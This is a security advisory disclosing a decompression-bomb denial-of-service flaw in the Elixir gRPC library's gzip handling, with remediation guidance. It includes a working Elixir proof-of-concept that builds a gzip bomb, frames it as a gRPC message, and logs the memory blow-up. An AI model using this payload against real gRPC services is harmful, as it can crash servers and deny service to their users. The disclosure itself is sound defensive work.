GHSA-6ccx-9c9f-327w: Erlang/grpc vulnerability
Summary An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).
Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba
Details GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's maxreceivemessagelength is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.
PoC A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.
Impact This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.
Scripts and Logs
elixir Verifies: Unbounded gzip decompression (decompression bomb)
Mix.install([{:grpc, "~> 0.9"}])
Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB. uncompressedsize = 200 1024 1024 bombpayload = :zlib.gzip(:binary.copy(<<0>>, uncompressedsize))
Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1) set. This is the exact wire shape an outside peer would put on the socket for a grpc-encoding: gzip message. frame = <<1, bytesize(bombpayload)::unsigned-integer-32, bombpayload::binary>>
IO.puts( "Compressed bomb: #{bytesize(bombpayload)} bytes -> claims to expand to #{uncompressedsize} bytes" )
:erlang.garbagecollect() membefore = :erlang.memory(:total) IO.puts("Memory before: #{div(membefore, 1024 1024)} MB")
Public entry point: GRPC.Message.fromdata/2 is what the server's request handling pipeline calls with the raw bytes pulled off an incoming HTTP/2 DATA frame, once it has resolved the encoding header to a compressor module. An outside attacker controls frame; the library is the trust boundary. {:ok, decompressed} = GRPC.Message.fromdata(%{compressor: GRPC.Compressor.Gzip}, frame)
memafter = :erlang.memory(:total) IO.puts("Memory after: #{div(memafter, 1024 1024)} MB") IO.puts("Delta: #{div(memafter - membefore, 1024 1024)} MB") IO.puts("Decompressed binary size: #{bytesize(decompressed)} bytes")
amplification = bytesize(decompressed) / bytesize(bombpayload) IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")
if bytesize(decompressed) == uncompressedsize do IO.puts( "VERIFIED: GRPC.Message.fromdata/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(memafter - membefore, 1024 1024)} MB from a #{div(bytesize(bombpayload), 1024)} KB attacker payload." ) else IO.puts("NOT VERIFIED: decompressed size did not match expected payload") end
logs Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes Memory before: 45 MB Memory after: 403 MB Delta: 358 MB Decompressed binary size: 209715200 bytes Amplification ratio: ~1028.7x VERIFIED: GRPC.Message.fromdata/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
erlang/grpcto a version that resolves this vulnerability.Fixed in 1.0.0